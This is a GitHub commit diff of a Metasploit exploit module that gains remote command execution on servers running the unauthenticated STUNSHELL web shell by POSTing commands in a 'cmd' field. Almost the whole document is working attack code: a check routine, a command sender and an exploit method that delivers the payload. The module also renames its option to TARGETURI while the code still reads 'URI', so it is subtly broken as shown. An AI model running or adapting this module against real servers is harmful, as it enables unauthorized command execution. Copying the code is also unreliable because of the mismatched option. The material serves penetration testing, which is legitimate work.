Skip to content

Commit cc92b54

Browse files
author
bwall
committed
Moved module and cleaned code
1 parent e37fa3b commit cc92b54

File tree

1 file changed

+18
-17
lines changed

1 file changed

+18
-17
lines changed

modules/exploits/multi/misc/stunshell_exec.rb renamed to modules/exploits/multi/http/stunshell_exec.rb

Lines changed: 18 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,15 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = GreatRanking
1112

1213
include Msf::Exploit::Remote::HttpClient
1314

1415
def initialize(info={})
1516
super(update_info(info,
16-
'Name' => '"STUNSHELL" Web Shell Remote Code Execution',
17+
'Name' => 'STUNSHELL Web Shell Remote Code Execution',
1718
'Description' => %q{
18-
This module exploits unauthenticated versions of the "STUNSHELL" web shell. This
19+
This module exploits unauthenticated versions of the "STUNSHELL" web shell. This
1920
module works when safe mode is disabled on the web server. This shell is widely
2021
used in automated RFI payloads.
2122
},
@@ -32,32 +33,36 @@ module works when safe mode is disabled on the web server. This shell is widely
3233
'Privileged' => false,
3334
'Payload' =>
3435
{
35-
'Space' => 10000, # Need to test this
36+
'Space' => 10000, # Value determined by web server's POST limits
3637
'BadChars' => '',
3738
'DisableNops' => true,
3839
'Compat' =>
3940
{
40-
'PayloadType' => 'cmd',
41+
'PayloadType' => 'cmd'
4142
}
4243
},
4344
'Platform' => ['unix', 'win'],
4445
'Arch' => ARCH_CMD,
45-
'Targets' => [['Automatic',{}]],
46+
'Targets' =>
47+
[
48+
['stunshell / Unix', { 'Platform' => 'unix' } ],
49+
['stunshell / Windows', { 'Platform' => 'win' } ]
50+
],
4651
'DisclosureDate' => 'Mar 23 2013',
4752
'DefaultTarget' => 0))
4853

4954
register_options(
5055
[
51-
OptString.new('URI',[true, "The path to the andalas_oku shell", "/"]),
56+
OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
5257
],self.class)
5358
end
5459

5560
def check
5661
uri = normalize_uri(datastore['URI'])
5762
request_parameters = {
58-
'method' => 'POST',
59-
'uri' => uri,
60-
'vars_post' =>
63+
'method' => 'POST',
64+
'uri' => uri,
65+
'vars_post' =>
6166
{
6267
'cmd' => "echo 'andalas_oku test parameter'"
6368
}
@@ -69,12 +74,12 @@ def check
6974
return Exploit::CheckCode::Safe
7075
end
7176

72-
def http_send_command(cmd, opts = {})
77+
def http_send_command(cmd)
7378
uri = normalize_uri(datastore['URI'])
7479
request_parameters = {
75-
'method' => 'POST',
76-
'uri' => uri,
77-
'vars_post' =>
80+
'method' => 'POST',
81+
'uri' => uri,
82+
'vars_post' =>
7883
{
7984
'cmd' => cmd
8085
}
@@ -85,10 +90,6 @@ def http_send_command(cmd, opts = {})
8590
end
8691
end
8792

88-
def execute_command(cmd, opts = {})
89-
http_send_command("#{cmd}")
90-
end
91-
9293
def exploit
9394
http_send_command(payload.encoded)
9495
end

0 commit comments

Comments
 (0)